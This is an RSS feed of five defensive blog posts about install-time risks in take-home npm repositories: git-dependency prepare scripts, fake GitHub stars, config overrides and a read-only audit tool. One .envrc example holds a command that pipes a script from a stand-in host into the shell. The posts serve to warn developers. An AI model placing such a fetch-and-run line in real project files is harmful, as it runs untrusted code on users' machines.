<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: cryptostrapon</title>
    <description>The latest articles on DEV Community by cryptostrapon (@cryptostrapon).</description>
    <link>https://dev.to/cryptostrapon</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F4180447%2F90ee2f07-c8d3-45da-b916-eda35ed9240d.png</url>
      <title>DEV Community: cryptostrapon</title>
      <link>https://dev.to/cryptostrapon</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/cryptostrapon"/>
    <language>en</language>
    <item>
      <title>--ignore-scripts didn't stop this one: git dependencies on npm 10</title>
      <dc:creator>cryptostrapon</dc:creator>
      <pubDate>Fri, 04 Dec 2026 14:00:00 +0000</pubDate>
      <link>https://dev.to/cryptostrapon/-ignore-scripts-didnt-stop-this-one-git-dependencies-on-npm-10-3154</link>
      <guid>https://dev.to/cryptostrapon/-ignore-scripts-didnt-stop-this-one-git-dependencies-on-npm-10-3154</guid>
      <description>&lt;p&gt;You cloned a take-home repo from a recruiter. You know install scripts are the classic trap, so you run:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;npm install --ignore-scripts
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;On npm 10, that still runs code from a stranger, if one of the dependencies comes from git.&lt;/p&gt;

&lt;h2&gt;
  
  
  What npm does with a git dependency
&lt;/h2&gt;

&lt;p&gt;A dependency can point at a git repository instead of the registry:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nl"&gt;"dependencies"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nl"&gt;"utils"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"github:someone/utils"&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;npm can't install a git repo as it is, it has to pack it first. The npm docs say that if a package installed through git has a &lt;code&gt;prepare&lt;/code&gt; script, its dependencies and devDependencies are installed and &lt;code&gt;prepare&lt;/code&gt; is run before the package is packed and installed.&lt;/p&gt;

&lt;p&gt;So &lt;code&gt;prepare&lt;/code&gt; in that other repository runs on your machine during your &lt;code&gt;npm install&lt;/code&gt;. Nobody typed &lt;code&gt;npm run prepare&lt;/code&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  The test
&lt;/h2&gt;

&lt;p&gt;We built the smallest possible case, with a harmless marker instead of a payload:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;a local git repo &lt;code&gt;dep-demo&lt;/code&gt; whose &lt;code&gt;prepare&lt;/code&gt; script writes a marker file&lt;/li&gt;
&lt;li&gt;an app whose only dependency is &lt;code&gt;"dep-demo": "git+file:///…/dep"&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;npm install&lt;/code&gt; with and without &lt;code&gt;--ignore-scripts&lt;/code&gt;, in a clean folder each time&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;npm version&lt;/th&gt;
&lt;th&gt;plain &lt;code&gt;npm install&lt;/code&gt;
&lt;/th&gt;
&lt;th&gt;&lt;code&gt;npm install --ignore-scripts&lt;/code&gt;&lt;/th&gt;
&lt;th&gt;
&lt;code&gt;ignore-scripts=true&lt;/code&gt; in project &lt;code&gt;.npmrc&lt;/code&gt;
&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;10.9.9 (bundled with Node 22)&lt;/td&gt;
&lt;td&gt;prepare ran&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;prepare ran&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;prepare ran&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;11.21.3&lt;/td&gt;
&lt;td&gt;prepare ran&lt;/td&gt;
&lt;td&gt;did not run&lt;/td&gt;
&lt;td&gt;not tested&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;On npm 10.9.9 the flag made no difference for the git dependency. On npm 11.21.3 it stopped it.&lt;/p&gt;

&lt;p&gt;We tested on Linux with a local &lt;code&gt;git+file:&lt;/code&gt; URL. We did not test every 10.x release, and we only measured the local case; a &lt;code&gt;github:&lt;/code&gt; URL should behave the same way according to the docs.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why this matters for take-home repos
&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;--ignore-scripts&lt;/code&gt; is the advice most of us give, including us. It still helps: it stops the install hooks of registry packages and the project's own &lt;code&gt;preinstall&lt;/code&gt; and &lt;code&gt;postinstall&lt;/code&gt;. But on npm 10 a git dependency is a hole in it, and git dependencies are rare enough in normal projects that one in a take-home repo is worth a closer look on its own.&lt;/p&gt;

&lt;h2&gt;
  
  
  What to do
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;Check your version: &lt;code&gt;npm --version&lt;/code&gt;. If it starts with 10, assume the flag does not cover git dependencies.&lt;/li&gt;
&lt;li&gt;Before any install, read &lt;code&gt;dependencies&lt;/code&gt;, &lt;code&gt;devDependencies&lt;/code&gt; and &lt;code&gt;optionalDependencies&lt;/code&gt; for anything that is not a version range: &lt;code&gt;github:&lt;/code&gt;, &lt;code&gt;git+&lt;/code&gt;, &lt;code&gt;git://&lt;/code&gt;, tarball URLs, &lt;code&gt;file:&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Look at &lt;code&gt;overrides&lt;/code&gt;, &lt;code&gt;resolutions&lt;/code&gt; and &lt;code&gt;pnpm.overrides&lt;/code&gt; too. A git URL can hide there while &lt;code&gt;dependencies&lt;/code&gt; looks normal.&lt;/li&gt;
&lt;li&gt;Open untrusted repos in a throwaway VM or container, not on the laptop with your keys and tokens.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;There is also an open npm bug report on a related problem: &lt;code&gt;allowScripts&lt;/code&gt; not stopping a git dependency's &lt;code&gt;prepare&lt;/code&gt;, with a fix proposed in npm/cli PR #10342.&lt;/p&gt;

&lt;p&gt;If you want the step 2 and 3 checks done for you, npm-install-audit flags non-registry dependencies, including ones in overrides, without running anything from the repo: &lt;a href="https://github.com/cryptostrapon/npm-install-audit" rel="noopener noreferrer"&gt;https://github.com/cryptostrapon/npm-install-audit&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Have you ever seen a git dependency in a take-home project? What was in it?&lt;/p&gt;

</description>
      <category>javascript</category>
      <category>node</category>
      <category>security</category>
      <category>webdev</category>
    </item>
    <item>
      <title>Fake GitHub stars: how a 'popular' crypto repo fools you, and a 2-minute check</title>
      <dc:creator>cryptostrapon</dc:creator>
      <pubDate>Thu, 03 Dec 2026 14:00:00 +0000</pubDate>
      <link>https://dev.to/cryptostrapon/fake-github-stars-how-a-popular-crypto-repo-fools-you-and-a-2-minute-check-4k1d</link>
      <guid>https://dev.to/cryptostrapon/fake-github-stars-how-a-popular-crypto-repo-fools-you-and-a-2-minute-check-4k1d</guid>
      <description>&lt;p&gt;1,200 stars. 3 commits. Created last Tuesday. Zero issues, zero pull requests, and a README that promises a "profitable MEV bot, free, no fees".&lt;/p&gt;

&lt;p&gt;The most popular repository nobody has ever used.&lt;/p&gt;

&lt;p&gt;Stars are the first thing most of us look at when we pick a library, a tool or a trading bot someone linked in a chat. Scammers know that, and stars are cheap.&lt;/p&gt;

&lt;h2&gt;
  
  
  How cheap, and how many
&lt;/h2&gt;

&lt;p&gt;Researchers from Carnegie Mellon, Socket and NC State built a tool called StarScout and went through GitHub's star history. The latest version of their paper counts about &lt;strong&gt;six million suspected fake stars&lt;/strong&gt;, with a sharp rise in 2024. Many of the boosted repositories were short-lived and promoted malware, pirated software or crypto tools: exactly the "free bot, just run it" kind of repo that ends up in a Telegram group.&lt;/p&gt;

&lt;p&gt;A fake star doesn't need to fool a security researcher. It only needs to fool someone in a hurry.&lt;/p&gt;

&lt;h2&gt;
  
  
  The 2-minute check
&lt;/h2&gt;

&lt;p&gt;You need the GitHub CLI (&lt;code&gt;gh&lt;/code&gt;) and two commands.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;1. When did the stars arrive?&lt;/strong&gt; Real projects collect stars over months. Bought ones arrive in bursts.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;gh api -H &lt;span class="s2"&gt;"Accept: application/vnd.github.star+json"&lt;/span&gt; \
  &lt;span class="s2"&gt;"repos/OWNER/REPO/stargazers?per_page=100"&lt;/span&gt; --paginate \
  --jq &lt;span class="s1"&gt;'.[].starred_at[:10]'&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; sort &lt;span class="o"&gt;|&lt;/span&gt; uniq -c &lt;span class="o"&gt;|&lt;/span&gt; sort -rn &lt;span class="o"&gt;|&lt;/span&gt; head
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If most stars landed on two or three days, you're looking at a campaign, not a community.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;2. Who gave them?&lt;/strong&gt; Look at a sample of the accounts.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;gh api &lt;span class="s2"&gt;"repos/OWNER/REPO/stargazers?per_page=30"&lt;/span&gt; --jq &lt;span class="s1"&gt;'.[].login'&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="nb"&gt;read&lt;/span&gt; -r u&lt;span class="o"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt;
  gh api &lt;span class="s2"&gt;"users/$u"&lt;/span&gt; --jq &lt;span class="s1"&gt;'[.login, .created_at[:10], .public_repos, .followers] | @tsv'&lt;/span&gt;
&lt;span class="k"&gt;done&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Accounts created in the same week, with no repositories and no followers, starring the same handful of repos: that's a bot farm with a profile picture.&lt;/p&gt;

&lt;h2&gt;
  
  
  Three things stars can't fake easily
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Issues and pull requests from different people.&lt;/strong&gt; A real tool collects complaints. A fake one collects silence.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Commit history.&lt;/strong&gt; One "Initial commit" with 40 files and a release binary is not a project, it's a delivery.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Dependents.&lt;/strong&gt; The "Used by" count and package downloads are harder to inflate than a star button.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  What it means for crypto repos
&lt;/h2&gt;

&lt;p&gt;If a repo asks you to paste a private key into a config file, run a binary from Releases, or &lt;code&gt;npm install&lt;/code&gt; something you haven't read, the star count is irrelevant. Read the code first. For JavaScript projects our &lt;a href="https://github.com/cryptostrapon/npm-install-audit" rel="noopener noreferrer"&gt;npm-install-audit&lt;/a&gt; checks install hooks, git hooks, editor tasks and package manager config without running anything. It's free and has no dependencies.&lt;/p&gt;

&lt;p&gt;And a note from our side: we've never bought a star, and every one we have came from a person. If you've found this useful, a star is how small open source projects get found, so it's appreciated.&lt;/p&gt;

&lt;p&gt;What's the most suspicious "popular" repo you've seen recently?&lt;/p&gt;

</description>
      <category>security</category>
      <category>github</category>
      <category>opensource</category>
      <category>webdev</category>
    </item>
    <item>
      <title>Two install-time tricks npm-install-audit 1.8.0 now flags</title>
      <dc:creator>cryptostrapon</dc:creator>
      <pubDate>Wed, 02 Dec 2026 14:19:39 +0000</pubDate>
      <link>https://dev.to/cryptostrapon/two-install-time-tricks-npm-install-audit-180-now-flags-16gf</link>
      <guid>https://dev.to/cryptostrapon/two-install-time-tricks-npm-install-audit-180-now-flags-16gf</guid>
      <description>&lt;p&gt;You cloned a take-home repo and haven't run anything yet. Two files can still run code before you read a single line of the project.&lt;/p&gt;

&lt;h2&gt;
  
  
  1. .envrc
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://direnv.net/" rel="noopener noreferrer"&gt;direnv&lt;/a&gt; runs &lt;code&gt;.envrc&lt;/code&gt; as a shell script every time you &lt;code&gt;cd&lt;/code&gt; into the folder, once you have allowed it. Many developers allow direnv by habit, and the file looks like harmless environment setup:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="kd"&gt;export&lt;/span&gt; &lt;span class="nv"&gt;NODE_ENV&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;development
curl -s https://example.invalid/setup.sh &lt;span class="o"&gt;|&lt;/span&gt; sh
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Plenty of real projects use &lt;code&gt;.envrc&lt;/code&gt;, so a finding here is a reason to read the file, not proof of malware.&lt;/p&gt;

&lt;h2&gt;
  
  
  2. A git URL inside overrides
&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;dependencies&lt;/code&gt; can look perfectly normal while &lt;code&gt;overrides&lt;/code&gt; (npm), &lt;code&gt;resolutions&lt;/code&gt; (Yarn) or &lt;code&gt;pnpm.overrides&lt;/code&gt; swap one package for something that never came from the registry:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nl"&gt;"dependencies"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nl"&gt;"lodash"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"^4.17.21"&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="nl"&gt;"overrides"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nl"&gt;"lodash"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"github:someone/lodash#main"&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Reviewers read &lt;code&gt;dependencies&lt;/code&gt;. The override sits lower in the file and decides what actually gets installed. 1.8.0 flags git URLs, tarballs, &lt;code&gt;file:&lt;/code&gt; and &lt;code&gt;link:&lt;/code&gt; specs there, including nested entries.&lt;/p&gt;

&lt;h2&gt;
  
  
  Try it
&lt;/h2&gt;

&lt;p&gt;From a trusted folder, not inside the repo you are checking:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;npx npm-install-audit@1.8.0 /absolute/path/to/repo
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Or in CI before any install step:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="p"&gt;-&lt;/span&gt; &lt;span class="na"&gt;uses&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;cryptostrapon/npm-install-audit@v1.8.0&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;It reads files and runs nothing from the project. A clean result is not proof of safety, it only means none of these patterns showed up.&lt;/p&gt;

&lt;p&gt;Both checks came from outside contributors, credited in the &lt;a href="https://github.com/cryptostrapon/npm-install-audit/releases/tag/v1.8.0" rel="noopener noreferrer"&gt;1.8.0 release notes&lt;/a&gt;.&lt;/p&gt;

</description>
      <category>security</category>
      <category>npm</category>
      <category>javascript</category>
      <category>opensource</category>
    </item>
    <item>
      <title>Does --ignore-scripts protect you from a take-home repo? Five ways it doesn't</title>
      <dc:creator>cryptostrapon</dc:creator>
      <pubDate>Tue, 01 Dec 2026 14:00:00 +0000</pubDate>
      <link>https://dev.to/cryptostrapon/your-npmrc-says-ignore-scripts-the-repos-npmrc-wins-3j3</link>
      <guid>https://dev.to/cryptostrapon/your-npmrc-says-ignore-scripts-the-repos-npmrc-wins-3j3</guid>
      <description>&lt;p&gt;A recruiter you have never met loves your profile, skips the interview and sends a take-home repo the same afternoon. Flattering. Also a classic opening of scams aimed at developers. You know the advice: never run &lt;code&gt;npm install&lt;/code&gt; on a stranger's repo without &lt;code&gt;--ignore-scripts&lt;/code&gt;, or put &lt;code&gt;ignore-scripts=true&lt;/code&gt; in your &lt;code&gt;~/.npmrc&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;I wanted to know how far that advice goes. So I built a test repo where every trick does one harmless thing: it writes a marker file to &lt;code&gt;/tmp&lt;/code&gt;. Then I ran the usual first commands and checked which markers appeared. Four of the five I ran myself (npm 10.9.9 and 12.2.3, Yarn 1.22.22). The dev container one comes from the spec, because it needs Docker on the host.&lt;/p&gt;

&lt;h2&gt;
  
  
  The setup
&lt;/h2&gt;

&lt;p&gt;Each trick writes its own file, for example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// marker.js&lt;/span&gt;
&lt;span class="nb"&gt;require&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'fs'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;writeFileSync&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'/tmp/marker-'&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nb"&gt;process&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;argv&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'ran'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Clean &lt;code&gt;/tmp&lt;/code&gt; before each run, run one command, list &lt;code&gt;/tmp/marker-*&lt;/code&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  1. The repo's .npmrc beats yours
&lt;/h2&gt;

&lt;p&gt;Your &lt;code&gt;~/.npmrc&lt;/code&gt; has &lt;code&gt;ignore-scripts=true&lt;/code&gt;. The repo ships one line:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight ini"&gt;&lt;code&gt;&lt;span class="c1"&gt;# ./take-home/.npmrc
&lt;/span&gt;&lt;span class="na"&gt;ignore-scripts&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="kc"&gt;false&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;npm reads the project &lt;code&gt;.npmrc&lt;/code&gt; after your user file, so the project value wins. &lt;code&gt;npm install&lt;/code&gt; runs the &lt;code&gt;postinstall&lt;/code&gt; hook. Marker appears.&lt;/p&gt;

&lt;h2&gt;
  
  
  2. A .npmrc in a workspace folder does nothing
&lt;/h2&gt;

&lt;p&gt;The opposite mistake. In a monorepo you put &lt;code&gt;ignore-scripts=true&lt;/code&gt; next to the package you don't trust, in &lt;code&gt;packages/a/.npmrc&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;npm only reads the &lt;code&gt;.npmrc&lt;/code&gt; at the workspace root. A root &lt;code&gt;npm install&lt;/code&gt; prints no warning and runs the &lt;code&gt;postinstall&lt;/code&gt; of &lt;code&gt;packages/a&lt;/code&gt;. Marker appears. Only when you run a command from inside &lt;code&gt;packages/a&lt;/code&gt; does npm log &lt;code&gt;ignoring workspace config at .../packages/a/.npmrc&lt;/code&gt;. Tested on npm 10.9.9 and 12.2.3.&lt;/p&gt;

&lt;h2&gt;
  
  
  3. npm 12 extension files run on npm pack
&lt;/h2&gt;

&lt;p&gt;npm 12 loads &lt;code&gt;.npm-extension.mjs&lt;/code&gt; or &lt;code&gt;.npm-extension.cjs&lt;/code&gt; from the project. &lt;code&gt;npm pack --ignore-scripts&lt;/code&gt; still loads it. Marker appears. Lifecycle scripts are off, project code still runs.&lt;/p&gt;

&lt;h2&gt;
  
  
  4. yarnPath swaps the yarn binary
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="c1"&gt;# .yarnrc.yml
&lt;/span&gt;&lt;span class="na"&gt;yarnPath&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;.yarn/releases/yarn-4.0.0.cjs&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Your global &lt;code&gt;yarn&lt;/code&gt; hands every command in that folder to the file at &lt;code&gt;yarnPath&lt;/code&gt;. I put a marker script at that path and ran &lt;code&gt;yarn --version&lt;/code&gt; with Yarn 1.22.22. The marker appeared and the "version" printed was whatever the script chose to print. No install needed.&lt;/p&gt;

&lt;h2&gt;
  
  
  5. initializeCommand runs on your machine
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="err"&gt;//&lt;/span&gt; &lt;span class="err"&gt;.&lt;/span&gt;&lt;span class="n"&gt;devcontainer&lt;/span&gt;&lt;span class="err"&gt;/&lt;/span&gt;&lt;span class="n"&gt;devcontainer&lt;/span&gt;&lt;span class="err"&gt;.&lt;/span&gt;&lt;span class="n"&gt;json&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nl"&gt;"initializeCommand"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"node marker.js devcontainer"&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;People open a suspicious repo in a dev container to stay isolated. The Dev Container spec says &lt;code&gt;initializeCommand&lt;/code&gt; runs on the host, before the container is created. Click "Reopen in Container" and the command runs on your own machine.&lt;/p&gt;

&lt;h2&gt;
  
  
  Results
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Trick&lt;/th&gt;
&lt;th&gt;First command&lt;/th&gt;
&lt;th&gt;--ignore-scripts helps?&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Repo .npmrc sets ignore-scripts=false&lt;/td&gt;
&lt;td&gt;npm install&lt;/td&gt;
&lt;td&gt;Yes, if you pass the flag on the command line&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;ignore-scripts=true in a workspace .npmrc&lt;/td&gt;
&lt;td&gt;npm install at the root&lt;/td&gt;
&lt;td&gt;No, the file is ignored&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;.npm-extension.mjs&lt;/td&gt;
&lt;td&gt;npm pack&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;yarnPath in .yarnrc.yml&lt;/td&gt;
&lt;td&gt;any yarn command&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;initializeCommand&lt;/td&gt;
&lt;td&gt;Reopen in Container&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h2&gt;
  
  
  What I do now before the first command
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;Pass &lt;code&gt;--ignore-scripts&lt;/code&gt; on the command line. A command line flag beats every &lt;code&gt;.npmrc&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Open every &lt;code&gt;.npmrc&lt;/code&gt;, &lt;code&gt;.yarnrc.yml&lt;/code&gt;, &lt;code&gt;.pnpmfile.cjs&lt;/code&gt;, &lt;code&gt;.npm-extension.*&lt;/code&gt; and &lt;code&gt;devcontainer.json&lt;/code&gt; in the repo, not only the root ones.&lt;/li&gt;
&lt;li&gt;Run &lt;code&gt;npm config ls&lt;/code&gt; inside the folder. It shows the effective values and where each one comes from, without running scripts.&lt;/li&gt;
&lt;li&gt;Do all of it in a throwaway VM with no SSH keys, cloud credentials or wallets.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;To check the files in one step, &lt;a href="https://github.com/cryptostrapon/npm-install-audit" rel="noopener noreferrer"&gt;npm-install-audit&lt;/a&gt; reads a repo without running anything and flags all five. A clean result means none of the known tricks showed up, nothing more.&lt;/p&gt;

&lt;p&gt;Have you received a take-home repo that shipped its own config files? What was in them?&lt;/p&gt;

</description>
      <category>security</category>
      <category>javascript</category>
      <category>node</category>
      <category>webdev</category>
    </item>
    <item>
      <title>Check a take-home npm repo before you install it</title>
      <dc:creator>cryptostrapon</dc:creator>
      <pubDate>Mon, 30 Nov 2026 18:03:00 +0000</pubDate>
      <link>https://dev.to/cryptostrapon/check-a-take-home-npm-repo-before-you-install-it-2ml9</link>
      <guid>https://dev.to/cryptostrapon/check-a-take-home-npm-repo-before-you-install-it-2ml9</guid>
      <description>&lt;p&gt;A recruiter sends a repo and asks you to install the dependencies. That first npm install can run install hooks, load a project .npmrc, or pull packages from a registry you did not choose. Those steps often happen before you have read a line of the code, and they run with your user rights.&lt;/p&gt;

&lt;p&gt;This guide shows a read-only way to inspect an unfamiliar project first. The check looks for install hooks, risky config, git hooks and a few other ways a take-home repo can run code. It does not prove a repo is safe. It gives you a short list to review, from a trusted copy of the tool, before anything in that project is installed or executed.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why the first npm install is the dangerous moment
&lt;/h2&gt;

&lt;p&gt;A bare &lt;code&gt;npm install&lt;/code&gt; in a local project can run that project's own &lt;code&gt;preinstall&lt;/code&gt;, &lt;code&gt;install&lt;/code&gt;, &lt;code&gt;postinstall&lt;/code&gt; and &lt;code&gt;prepare&lt;/code&gt; scripts from &lt;code&gt;package.json&lt;/code&gt;. Those scripts run as you. Fake interview repos have used this path to reach SSH keys, cloud credentials and wallet files. The attack does not need you to open the app, run the tests, or get past a login screen. The install command is enough.&lt;/p&gt;

&lt;p&gt;Dependencies can ship install scripts too. Newer package managers have started to hold those back unless the project allow-lists them. The repo's own hooks are a different matter: they still run on a plain install. A stranger's take-home only needs its own &lt;code&gt;postinstall&lt;/code&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  What install hooks and a project npmrc can change
&lt;/h2&gt;

&lt;p&gt;Read &lt;code&gt;package.json&lt;/code&gt; scripts first. A tiny interview task rarely needs &lt;code&gt;preinstall&lt;/code&gt; or &lt;code&gt;postinstall&lt;/code&gt; at all. If those keys are present, open the file they call and read it before you install.&lt;/p&gt;

&lt;p&gt;Then read a project &lt;code&gt;.npmrc&lt;/code&gt; if there is one. npm prefers the project's file over your home config. A global &lt;code&gt;ignore-scripts=true&lt;/code&gt; does not protect you if the repo ships &lt;code&gt;ignore-scripts=false&lt;/code&gt;. Other settings, such as &lt;code&gt;script-shell&lt;/code&gt;, &lt;code&gt;node-options&lt;/code&gt;, &lt;code&gt;init-module&lt;/code&gt; or a custom registry, can also change what runs, or where packages come from, during the install.&lt;/p&gt;

&lt;p&gt;The same class of surprise lives in Yarn and pnpm config, in &lt;code&gt;.git/hooks&lt;/code&gt;, and in a VS Code task with &lt;code&gt;runOn: folderOpen&lt;/code&gt;. Some of those run without &lt;code&gt;npm install&lt;/code&gt; at all.&lt;/p&gt;

&lt;h2&gt;
  
  
  A short read-only check with npm-install-audit
&lt;/h2&gt;

&lt;p&gt;I maintain npm-install-audit, a small Node script with no dependencies and no network, written for this moment. You point it at a repo you did not write. It reads files and prints findings. It does not install the project and it does not run the hooks it flags.&lt;/p&gt;

